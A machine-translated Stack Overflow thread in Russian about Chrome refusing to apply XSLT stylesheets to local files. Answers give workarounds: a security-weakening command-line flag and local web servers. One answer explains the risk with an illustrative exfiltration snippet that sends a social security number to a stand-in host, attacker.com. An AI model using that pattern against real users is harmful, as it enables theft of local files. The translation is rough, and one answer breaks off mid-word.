Можно ли заставить Chrome выполнять XSL-преобразование в локальном файле?

Я изучал xslt и начал тестирование с примерами на w3schools.

Однако, когда я сохраняю xml и xsl в файлах и пытаюсь открыть их локально, Chrome не выполняет преобразование xsl. Он просто показывает пустую страницу.

Я добавил тег<?xml-stylesheet type="text/xsl" href="style.xsl"> в XML-документ, и firefox отображает его так, как должно выглядеть. Кроме того, если я просматриваю файлы через веб-сервер, Chrome отображает файл так, как он должен выглядеть.

Может быть, у Chrome проблема с поиском информации о таблице стилей, когда ссылка является локальной? Изменение href на file:///C:/xsl/style.xsl не имело никакого значения.

Обновление. Похоже, это побочный эффект политики безопасности для не обрабатывать file: /// * как тот же источник. Это приводит к появлению следующей ошибки в консоли:

Небезопасная попытка загрузить файл URL: /// C: /xsl-rpg/style.xsl из фрейма с файлом URL: /// C: /xsl-rpg/data.xml. Домены, протоколы и порты должны совпадать.


person Zaz    schedule 30.09.2010    source источник
comment
Похоже, что из file: протокола Chrome выдает ту же ошибку домена.   -  person    schedule 01.10.2010
comment
На IE11 работает. Хром становится злым.   -  person Marco Demaio    schedule 15.01.2019


Ответы (6)


Короткий ответ: "Нет, используйте один из разнообразных набор браузеров там ".

Причина, по которой это не работает, связана с проблемой безопасности, которую Chrome решил спорным способом [1] [2] [3] [4], заблокировав доступ к файлам XML локальным файлам XSLT в в том же каталоге, в то время как файлы HTML могут получить доступ к файлам .CSS в том же каталоге.

Что касается проблем, упомянутых выше, пользователи просили более четкое сообщение об ошибке (поскольку домены, протоколы и порты действительно совпадают) или, по крайней мере, отображение XML без стиля. Разработчики Chrome проигнорировали эти запросы.

person Zaz    schedule 01.10.2010
comment
Хотя их проблема безопасности имеет смысл, файлы XML должны иметь возможность загружать таблицы стилей XSL из одного и того же каталога, точно так же, как файлы HTML могут загружать изображения и сценарии из одного и того же каталога. Есть проблема, которую вы можете пометить, но у команды разработчиков Chrome есть запретил новые комментарии к нему - несмотря на то, что они жаловались, что не могут количественно оценить, насколько сильно пользователи хотели, чтобы локальное происхождение файла было ослаблено. - person Dan Dascalescu; 25.12.2013
comment
Интересный факт: Safari на Mac (8.0) отлично работает с локальным XSLT, но Safari на симуляторе iOS (8) (и я полагаю, что и на iOS) я получил ту же ошибку, что и в Chrome Домены, протоколы и порты должны совпадать .. Но если я использую UIWebView в приложении и загружаю XML с помощью XSLT, все работает нормально. - person Paul Brewczynski; 14.01.2015
comment
небольшой смысл в использовании другого браузера, когда задача состоит в том, чтобы исправить конкретный рендеринг xslt в браузерах Chrome ... - person n611x007; 18.01.2016
comment
Один из подходов, который работает с Chromium, - это встроить файл XSL в файл XML как URI data: text / xsl. - person EricLaw; 06.04.2020

Вы можете сделать это локально, используя флаги командной строки Chrome.

Конкретный флаг --allow-file-access-from-files

В OS X: из Terminal.app запустите /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

В Windows: из командной строки запустите %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Примечание: вам, вероятно, придется выйти из Chrome, если он в настоящее время работает, в противном случае Ch

person Jake Burton    schedule 14.04.2013
comment
Похоже, это не работает для меня в Windows 7. Я нашел chrome.exe, расположенный здесь: C:\Program Files (x86)\Google\Chrome\Application, и команда --allow-file-access-from-files выполняется нормально, но мой локальный XML-документ (преобразованный с помощью локальный файл XSLT) не отображается. - person Rick supports Monica; 28.06.2014
comment
Возможно, вам придется вручную убить все запущенные процессы Windows для chrome.exe в диспетчере задач Windows. Для меня это сработало. - person Christian Schulzendorff; 16.03.2015
comment
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-files работал у меня. Очевидно, я использую Chrome Canary. После выполнения этой команды должно открыться новое окно Chrome, в котором вы сможете выполнить XSL-преобразование. - person SeanLF; 16.07.2015
comment
Быстрее в Windows 7: клавиша Window + R; хром - разрешить доступ к файлу из файлов; Входить. - person Aaron Campbell; 24.08.2015
comment
Или в PowerShell (убивает предыдущие хрома за вас): get-process chrome | stop-process; start-process chrome --allow-file-access-from-files - person Aaron Campbell; 24.08.2015
comment
В настоящее время не работает с последней сборкой canary. - person cerd; 16.09.2015
comment
Хорошо, что это отключено, когда мы закрываем окно. - person BetterLateThanNever; 30.08.2016
comment
Кажется, это действительно работает, но вам действительно нужно закрыть все экземпляры Chrome, а затем перезапустить, прежде чем это произойдет. - person Nyerguds; 25.10.2016
comment
Прошло несколько лет с момента первоначальной публикации ... Приведенная выше команда Mac все еще работает в версии Chrome 68.0.3440.106 - person PatrickReagan; 29.08.2018

Если вы хотите придерживаться OP, ответ - нет (как указывали другие), но один из способов решить проблему - запустить простой веб-сервер и открывать файлы через http в chrome. Если у вас установлен python 2.x, вы можете запустить веб-сервер, набрав:

python -m SimpleHTTPServer

Или в python 3.x:

python3 -m http.server

а затем откройте файл с помощью http://localhost:8000/yourfile.xml в chrome. Надеюсь, вы просто хотите, чтобы ваша работа была сделана, и вам не нужно открывать файл с помощью file://

person morpheus    schedule 19.11.2015
comment
Это старый пост, но отличный совет! Я сам использовал npm-пакет http-server :) - person jamiebarrow; 16.12.2020

На странице ошибок Chrome потребовалось немного расшифровать - они очень стараются не объяснять, в чем проблема, и почему они решили сломать всех, а не всех.

Предположим, у меня есть XML-файл - где-нибудь - на моем жестком диске, например:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

И злоумышленнику - каким-то образом - удалось сбросить вредоносный файл Xml на мой компьютер, например:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Представьте, что TrojanVirusWorm.xml содержит инструкцию обработки таблицы стилей (PI):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

Затем злоумышленник дает команду моему браузеру перейти к локально сохраненному trojanVirusWorm.xml файлу.

Очевидно, есть способ, которым XML-файл может читать содержимое XSD-файла (а не преобразовываться с помощью XSD-файла):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Я не понимаю, как XML-файл может читать файл таблицы стилей. Но команда Chrome уверяет нас, что это опасность и что ее невозможно устранить.

Каждый другой браузер решал эту проблему. Они решили это , потому что это не проблема.

person Ian Boyd    schedule 23.12.2015

Мой обходной путь, чтобы увидеть xml в соответствии с файлом xsl

Предположим, у нас есть some_file.xml с заголовками:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Скачиваем файл https://some-site.com/Common.xsl и кладем его рядом с some_file.xml
  2. Измените часть нашего заголовка с href="https://some-site.com/Common.xsl" на href="http://localhost:8001/Common.xsl"
  3. Запускаем в директорию с нашими файлами - python3 -m http.server 8001
  4. Открыть в любом браузере http://localhost:8001/some_file.xml
person Greg Eremeev    schedule 27.06.2018

Вы можете разрешить Chrome отображать XSL-файл, изменив настройки браузера. Более безопасным подходом было бы доступ к нему через локальный веб-сервер, такой как Visual Studio Code Live Server или Apache. Пошаговые инструкции см. В разделе XSLT не будет отображаться в локальных файлах.

person Ryan C. Perry    schedule 27.03.2020